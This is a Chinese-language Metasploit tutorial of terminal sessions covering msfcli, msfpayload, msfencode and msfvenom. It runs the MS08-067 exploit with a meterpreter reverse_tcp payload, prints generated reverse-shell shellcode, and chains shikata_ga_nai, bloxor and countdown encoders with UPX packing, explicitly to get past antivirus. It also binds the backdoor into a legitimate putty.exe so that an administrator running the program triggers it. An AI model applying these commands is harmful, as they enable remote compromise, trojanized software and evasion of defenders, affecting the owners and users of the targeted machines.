Name Current Setting Required Description
—- ————— ——– ———–
Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host

exploit@ubuntu:/pentest/framework3$ msfcli exploits/windows/smb/ms08_067_netapi P
这里会显示针对ms08_067可以使用的payload的信息，我们可以根据我们的系统平台环境和网络环境进行选择。

exploit@ubuntu:/pentest/framework3$ msfcli exploits/windows/smb/ms08_067_netapi P
显示08067的操作高级属性，这样在有针对性的针对某些版本溢出时，可以达到更好的效果
exploit@ubuntu:/pentest/framework3$ msfcli exploits/windows/smb/ms08_067_netapi P
[!] ************************************************************************
[!] * The utility msfcli is deprecated! *
[!] * It will be removed on or about 2015-06-18 *
[!] * Please use msfconsole -r or -x instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/3802 *
[!] ************************************************************************

Compatible payloads
===================

Name Description
---- -----------
generic/custom Use custom string or file as payload. Set either PAYLOADFILE or
PAYLOADSTR.
generic/debug_trap Generate a debug trap in the target process
generic/shell_bind_tcp Listen for a connection and spawn a command shell
generic/shell_reverse_tcp Connect back to attacker and spawn a command shell
generic/tight_loop Generate a tight loop in the target process
windows/dllinject/bind_hidden_ipknock_tcp Inject a DLL via a reflective
loader. Listen for a connection. First, the port will need to be knocked
from
the IP defined in KHOST. This IP will work as an authentication method
(you can spoof it with tools like hping). After that you could get your
shellcode from any IP. The socket will appear as "closed" helping us to
hide the shellcode
windows/dllinject/bind_hidden_tcp Inject a DLL via a reflective loader.
Listen for a connection from a hidden port and spawn a command shell to
the allowed host
windows/dllinject/bind_ipv6_tcp Inject a DLL via a reflective loader. Listen for a connection over IPv6
windows/dllinject/bind_nonx_tcp Inject a DLL via a reflective loader. Listen for a connection (No NX)
windows/dllinject/bind_tcp Inject a DLL via a reflective loader. Listen for a connection
windows/dllinject/bind_tcp_rc4 Inject a DLL via a reflective loader. Listen for a connection
windows/dllinject/reverse_hop_http Inject a DLL via a reflective loader.
Tunnel communication over an HTTP hop point. Note that you must first
upload

exploit@ubuntu:/pentest/framework3$ msfcli exploit/windows/smb/ms08_067_netapi M

M参数显示正在使用的模块有哪些必须的参数没有设置，操作我们可以发现，需要设置远程的服务器ip
exploit@ubuntu:/pentest/framework3$ msfcli exploit/windows/smb/ms08_067_netapi M
[!] ************************************************************************
[!] * The utility msfcli is deprecated! *
[!] * It will be removed on or about 2015-06-18 *
[!] * Please use msfconsole -r or -x instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/3802 *
[!] ************************************************************************

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address

msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E

E 参数，是执行当前的选择的模块，如下图，我们选择http服务版本探测，设置好参数，加上E参数，执行当前模块

msfcli的另外一个参数是t，这里是选择我们针对的远程目标的版本的选择，如下图，我们可以选择合适的目标来进行远程溢出

exploit@ubuntu:/pentest/framework3$ msfcli exploits/windows/smb/ms08_067_netapi t
[!] ************************************************************************
[!] * The utility msfcli is deprecated! *
[!] * It will be removed on or about 2015-06-18 *
[!] * Please use msfconsole -r or -x instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/3802 *
[!] ************************************************************************

Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows 2003 SP0 Universal
4 Windows XP SP2 English (AlwaysOn NX)
5 Windows XP SP2 English (NX)
6 Windows XP SP3 English (AlwaysOn NX)
7 Windows XP SP3 English (NX)
8 Windows XP SP2 Arabic (NX)
9 Windows XP SP2 Chinese - Traditional / * (NX)
10 Windows XP SP2 Chinese - Simplified (NX)
11 Windows XP SP2 Chinese - Traditional (NX)
12 Windows XP SP2 Czech (NX)
13 Windows XP SP2 Danish (NX)
14 Windows XP SP2 German (NX)
15 Windows XP SP2 Greek (NX)
16 Windows XP SP2 Spanish (NX)
17 Windows XP SP2 Finnish (NX)
18 Windows XP SP2 French (NX)
19 Windows XP SP2 Hebrew (NX)
20 Windows XP SP2 Hungarian (NX)
21 Windows XP SP2 Italian (NX)
22 Windows XP SP2 Japanese (NX)
23 Windows XP SP2 Korean (NX)
24 Windows XP SP2 Dutch (NX)
25 Windows XP SP2 Norwegian (NX)
26 Windows XP SP2 Polish (NX)
27 Windows XP SP2 Portuguese - Brazilian (NX)
28 Windows XP SP2 Portuguese (NX)
29 Windows XP SP2 Russian (NX)
30 Windows XP SP2 Swedish (NX)
31 Windows XP SP2 Turkish (NX)
32 Windows XP SP3 Arabic (NX)
33 Windows XP SP3 Chinese - Traditional / * (NX)
34 Windows XP SP3 Chinese - Simplified (NX)
35 Windows XP SP3 Chinese - Traditional (NX)
36 Windows XP SP3 Czech (NX)
37 Windows XP SP3 Danish (NX)
38 Windows XP SP3 German (NX)
39 Windows XP SP3 Greek (NX)
40 Windows XP SP3 Spanish (NX)
41 Windows XP SP3 Finnish (NX)
42 Windows XP SP3 French (NX)
43 Windows XP SP3 Hebrew (NX)
44 Windows XP SP3 Hungarian (NX)
45 Windows XP SP3 Italian (NX)
46 Windows XP SP3 Japanese (NX)
47 Windows XP SP3 Korean (NX)
48 Windows XP SP3 Dutch (NX)
49 Windows XP SP3 Norwegian (NX)
50 Windows XP SP3 Polish (NX)
51 Windows XP SP3 Portuguese - Brazilian (NX)
52 Windows XP SP3 Portuguese (NX)
53 Windows XP SP3 Russian (NX)
54 Windows XP SP3 Swedish (NX)
55 Windows XP SP3 Turkish (NX)
56 Windows 2003 SP1 English (NO NX)
57 Windows 2003 SP1 English (NX)
58 Windows 2003 SP1 Japanese (NO NX)
59 Windows 2003 SP1 Spanish (NO NX)
60 Windows 2003 SP1 Spanish (NX)
61 Windows 2003 SP2 English (NO NX)
62 Windows 2003 SP2 English (NX)
63 Windows 2003 SP2 German (NO NX)
64 Windows 2003 SP2 German (NX)
65 Windows 2003 SP2 Portuguese - Brazilian (NX)
66 Windows 2003 SP2 Spanish (NO NX)
67 Windows 2003 SP2 Spanish (NX)
68 Windows 2003 SP2 Japanese (NO NX)

根据上面的介绍，我们来对目标ip通过ms08_067_netapi进行远程攻击，参数设置如下

exploit@ubuntu:/pentest/framework3$ msfcli
exploits/windows/smb/ms08_067_netapi RHOST=192.168.1.168
PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=5546 E
[!] ************************************************************************
[!] * The utility msfcli is deprecated! *
[!] * It will be removed on or about 2015-06-18 *
[!] * Please use msfconsole -r or -x instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/3802 *
[!] ************************************************************************

下面我们介绍我们会经常用到的一个参数，msfpayload，执行msfpayload －h，帮助文件显示的似乎很简单，我们对每个参数的功能做详细的介绍：

exploit@ubuntu:/pentest/framework3$ msfpayload -h
[!] ************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************

Usage: /usr/local/bin/msfpayload [] [var=val]
<[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]|s[O]>

OPTIONS:

-h Help banner
-l List available payloads

msfpayload 操作选项 payload模块 变量定义 生成的文件格式，目前支持的格式有：C代码，C＃代码，perl代码，ruby代码，Raw文件流，Js代码，exe文件，dll文件，vba文件，War文件，apk文件，python文件，

如，我们想生成一个通过反弹tcp端口的perl文件格式的payload，那么我们执行以下操作

exploit@ubuntu:/pentest/framework3$ msfpayload
windows/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=5546 P
>back.pl[!]
************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************

ok接下来我们查看该文件是否生成，文件内容是什么

exploit@ubuntu:/pentest/framework3$ head -n 20 back.pl
# windows/meterpreter/reverse_tcp - 281 bytes (stage 1)
# http://www.metasploit.com
# VERBOSE=false, LHOST=192.168.1.106, LPORT=5546,
# ReverseConnectRetries=5, ReverseListenerBindPort=0,
# ReverseAllowProxy=false, ReverseListenerThreaded=false,
# EnableStageEncoding=false, StageEncoderSaveRegisters=,
# StageEncodingFallback=true, PrependMigrate=false,
# EXITFUNC=process, AutoLoadStdapi=true,
# InitialAutoRunScript=, AutoRunScript=, AutoSystemInfo=true,
# EnableUnicodeEncoding=true
my $buf =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" .
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" .
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" .
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" .
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" .
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" .
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" .
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" .
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" .

这里我们可以看到在当前目录生成了back.pl，查看perl文件内容，可以看到，反弹的ip地址是192.168.1.106，反弹的端口是5546，重试的次数是5次，允许加密，下面是执行反弹的shellcode代码

这里我们只是举了一个简单的例子，同样，如果我不知道有哪些payload可以提供给我们使用，那么我们只需要执行

exploit@ubuntu:/pentest/framework3$ msfpayload -l
[!] ************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************

Framework Payloads (356 total)
==============================

Name Description
---- -----------
aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
aix/ppc/shell_find_port Spawn a shell on an established connection
aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
android/meterpreter/reverse_http Run a meterpreter server on Android. Tunnel communication over HTTP
android/meterpreter/reverse_https Run a meterpreter server on Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp Run a meterpreter server on Android. Connect back stager
android/shell/reverse_http Spawn a piped command shell (sh). Tunnel communication over HTTP
android/shell/reverse_https Spawn a piped command shell (sh). Tunnel communication over HTTPS
…………
这样就会列出所有的payload

由于payoad类型太多，我们不知道如何选择适合自己的平台的payload，比如我们需要android平台下的payload，那么我们只需要执行以下命令

exploit@ubuntu:/pentest/framework3$ msfpayload -l| grep android
[!] ************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************
android/meterpreter/reverse_http Run a meterpreter server on Android. Tunnel communication over HTTP
android/meterpreter/reverse_https Run a meterpreter server on Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp Run a meterpreter server on Android. Connect back stager
android/shell/reverse_http Spawn a piped command shell (sh). Tunnel communication over HTTP
android/shell/reverse_https Spawn a piped command shell (sh). Tunnel communication over HTTPS
android/shell/reverse_tcp Spawn a piped command shell (sh). Connect back stager

这样所有的android平台下的payload都可以查找出来了，再根据我们的系统平台环境和网络环境选择合适的payload。

有了合适的payload，但是我不知道需要设置哪些参数，那么我们就需要执行下面的参数，这样根据系统提示，我们可以进行我们下一步的操作
exploit@ubuntu:/pentest/framework3$ msfpayload android/meterpreter/reverse_tcp s
[!] ************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************

Name: Android Meterpreter, Dalvik Reverse TCP Stager
Module: payload/android/meterpreter/reverse_tcp
Platform: Android
Arch: dalvik
Needs Admin: No
Total size: 8053
Rank: Normal

Provided by:
mihi
egypt
anwarelmakrahy
timwr

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadAndroid true yes Automatically load the Android extension
LHOST 192.168.189.134 yes The listen address
LPORT 4444 yes The listen port
RetryCount 10 yes Number of trials to be made if connection failed

Description:
Run a meterpreter server on Android. Connect back stager

这样会提示我们需要设置哪些参数，如LHOST，LPORT，是否自动加载，重试连接次数，这样我们就知道下一步如何对我们的payload进行设置操作

这样我们就生成了android平台的apk后门文件,由于msfpayload可以生成不同平台，不同语言的payload，所以在渗透的时候，我们可以根据目标系统的环境，和网络环境，选择我们合适的payload和生成的文件格式。

接下来，我们继续介绍metasploit的另外一个比较重要的参数msfencode的用法

exploit@ubuntu:/pentest/framework3$ msfencode -h
[!] ************************************************************************
[!] * The utility msfencode is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************

Usage: /usr/local/bin/msfencode

OPTIONS:

-a The architecture to encode as
-b The list of characters to avoid: '\x00\xff'
-c The number of times to encode the data
-d Specify the directory in which to look for EXE templates
-e The encoder to use
-h Help banner
-i Encode the contents of the supplied file path
-k Keep template working; run payload in new thread (use with -x)
-l List available encoders
-m Specifies an additional module search path
-n Dump encoder information
-o The output file
-p The platform to encode for
-s The maximum size of the encoded data
-t The output format:
bash,c,csharp,dw,dword,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-net,psh-reflection,vba,vba-exe,vbs,war
-v Increase verbosity
-x Specify an alternate executable template

这里我们就其参数做一一介绍：

-a 指定CPU 的类型，
-b 指定需要去除的字符，帮助中的示例00 ff 这两种数值在网络传送中会被截断造成传送失败
-c 指定编码次数，
-d 指定exe模板搜索路径，
-i 指定要编码的数据文件
-k 设置生成的文件运行后的payload进程与模板文件进程分离。
-l 列出可用payload
-n 输出编码器信息
-o 输出文件
-p 指定编码平台

-s 指定编码后的字节数（payload的）

-t
加密后文件的输出格式，支持以下格式：bash，c，c#,dword,java,js_be,js_le,数字型(num),perl文件，pl后缀文
件，powershell格式文件，ps1格式文
件，py,python,raw,rb,ruby,sh,vbapplaction,vbscript,asp,aspx,aspx-
exe,dll,elf,elf-so,exe,exe-only,exe-service,exe-small.loop-vbs.macho,msi,msi_nouac,osx-app,psh,psh-net,psh-reflection,vba,vba-exe,war

-v 显示当前msfencode的版本信息

－x 指定一个备用的可执行文件模版

msfencode可以对我们的payload进行加密，一般是和msfpayload配合使用，当然，也可以单独对已有的文件模版进行加密，支持多种文件格式，并且支持多种加密方式，这里我们先看看msfencode支持哪些类型的加密方式

exploit@ubuntu:/pentest/framework3$ msfencode -l
[!] ************************************************************************
[!] * The utility msfencode is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************

Framework Encoders
==================

Name Rank Description
---- ---- -----------
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xori normal Byte XORi Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte_xori normal Byte XORi Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/add_sub manual Add/Sub Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/opt_sub manual Sub Encoder (optimised)
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

上面列出了可以用的加密格式和等级，还是要根据我们系统的安全级别，杀毒软件以及其他防护软件来选择我们合适的加密方式以便绕过这些限制措施。空谈误国，我们还是看看实际的操作。
首先，在我的本地有个a.exe，是我们其他工具生成的木马服务端，由于需要免杀，有没有专门做免杀的程序狗和逆向狗，没事，自己动手丰衣足食，用msfencode来解决你的困扰。

我们用msfpayload来生成一个反弹的程序，通过msfencode来进行加密，规避杀毒软件的查杀。
exploit@ubuntu:/pentest/framework3$ msfpayload
windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R |
msfencode -e x86/shikata_ga_nai -c 7 -t exe -o payload.exe
[!] ************************************************************************
[!] * The utility msfencode is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************
[!] ************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************

当然，这里只用了一种加密方式，经过了7次加密，也可以采用多种加密方式的多重加密，这样大部分的杀毒软件都变哑巴了

exploit@ubuntu:/pentest/framework3$ msfpayload
windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R |
msfencode -e x86/shikata_ga_nai -c 7 -t raw | msfencode -e x86/bloxor -c
3 -t raw | msfencode -e x86/countdown -c 5 -t exe -o av.exe
[!]
************************************************************************[!]

************************************************************************[!]

************************************************************************
[!] * The utility msfencode is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************

[!] * The utility msfencode is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************

[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************
[!] ************************************************************************
[!] * The utility msfencode is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************

最后生成av.exe,这里我们可以测试一下生成的exe是否可以正常运行，丢到windows里面运行一下，请自行测试，我就不截图了。

如果运行正常，还不放心杀毒软件会干掉，那么我们再用upx加个壳？

exploit@ubuntu:/pentest/framework3$ upx -5 av.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2013
UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013

File size Ratio Format Name
-------------------- ------ ----------- -----------
73802 -> 48128 65.21% win32/pe av.exe

Packed 1 file.

这种的生成的payload运行之后，没有什么反应，如果是作为渗透者自己来用的话，可能会做的比较隐蔽，有时候我们需要管理员或者目标主机上的其他人来
触发这些payload程序，那么我们就需要用到比较隐蔽和猥琐的触发方式了，用标准的官方语言说就是：建立以标准文件模版为基础的payload文件，
通俗点说就是搞个捆绑器，把shellcode我们正常的程序捆绑在一起，当管理员运行正常程序的时，就会触发我们的payload后门
a.exe是一个正常的putty程序，我们把shellcode和putty捆绑在一起生成一个新的程序

exploit@ubuntu:/pentest/framework3$ msfpayload
windows/meterpreter/reverse_tcp LHOST=192.168.1.68 LPORT=4444 R |
msfencode -e x86/shikata_ga_nai -c 3 -t exe -k -x
/pentest/framework3/a.exe -o putty.exe
[!]
************************************************************************[!]

************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************

[!] * The utility msfencode is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************

可以看到我们生成了新的putty.exe，只需要替换掉原来的putty.exe即可，当管理员运行我们加工后的putty.exe时，就会触发我们的后门。

前面提到了，我们要对原本已经有的，比如通过其他的木马生成器生成的木马服务端进行免杀，那我们同样可以使用这样的模式来进行免杀，看实际的操作例子，这里的a是我们原始的putty文件，payload是我们生成的木马服务端，通过捆绑免杀，生成新的putty.exe
exploit@ubuntu:/pentest/framework3$ msfencode -i
/pentest/framework3/payload.exe -e x86/shikata_ga_nai -c 5 -x -k
/pentest/framework3/a.exe -o putty.exe
[!] ************************************************************************
[!] * The utility msfencode is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************

接下来介绍msfvenom，msfvenom兼顾了msfencode和msfpayload的功能，所以将逐步替代msfencode和msfpayload，先看下参数

exploit@ubuntu:/pentest/framework3$ msfvenom -h
Usage: /usr/local/bin/msfvenom [options]

Options:
-p, --payload Payload to use. Specify a '-' or stdin to use custom payloads
-l, --list [module_type] List a module type example: payloads, encoders, nops, all
-n, --nopsled Prepend a nopsled of [length] size on to the payload
-f, --format
Output format (use --help-formats for a list)
-e, --encoder [encoder] The encoder to use
-a, --arch The architecture to use
--platform The platform of the payload
-s, --space The maximum size of the resulting payload
-b, --bad-chars The list of characters to avoid example: '\x00\xff'
-i, --iterations The number of times to encode the payload
-c, --add-code Specify an additional win32 shellcode file to include
-x, --template Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
--payload-options List the payload's standard options
-o, --out Save the payload
-v, --var-name Specify a custom variable name to use for certain output formats
-h, --help Show this message
--help-formats List available formats

这里我们对msfvenom的参数一一解释

-p —payload 利用哪个payload来生成

-l —list 列出模块类型： payloads，encoders,nops,all

-n —nopsled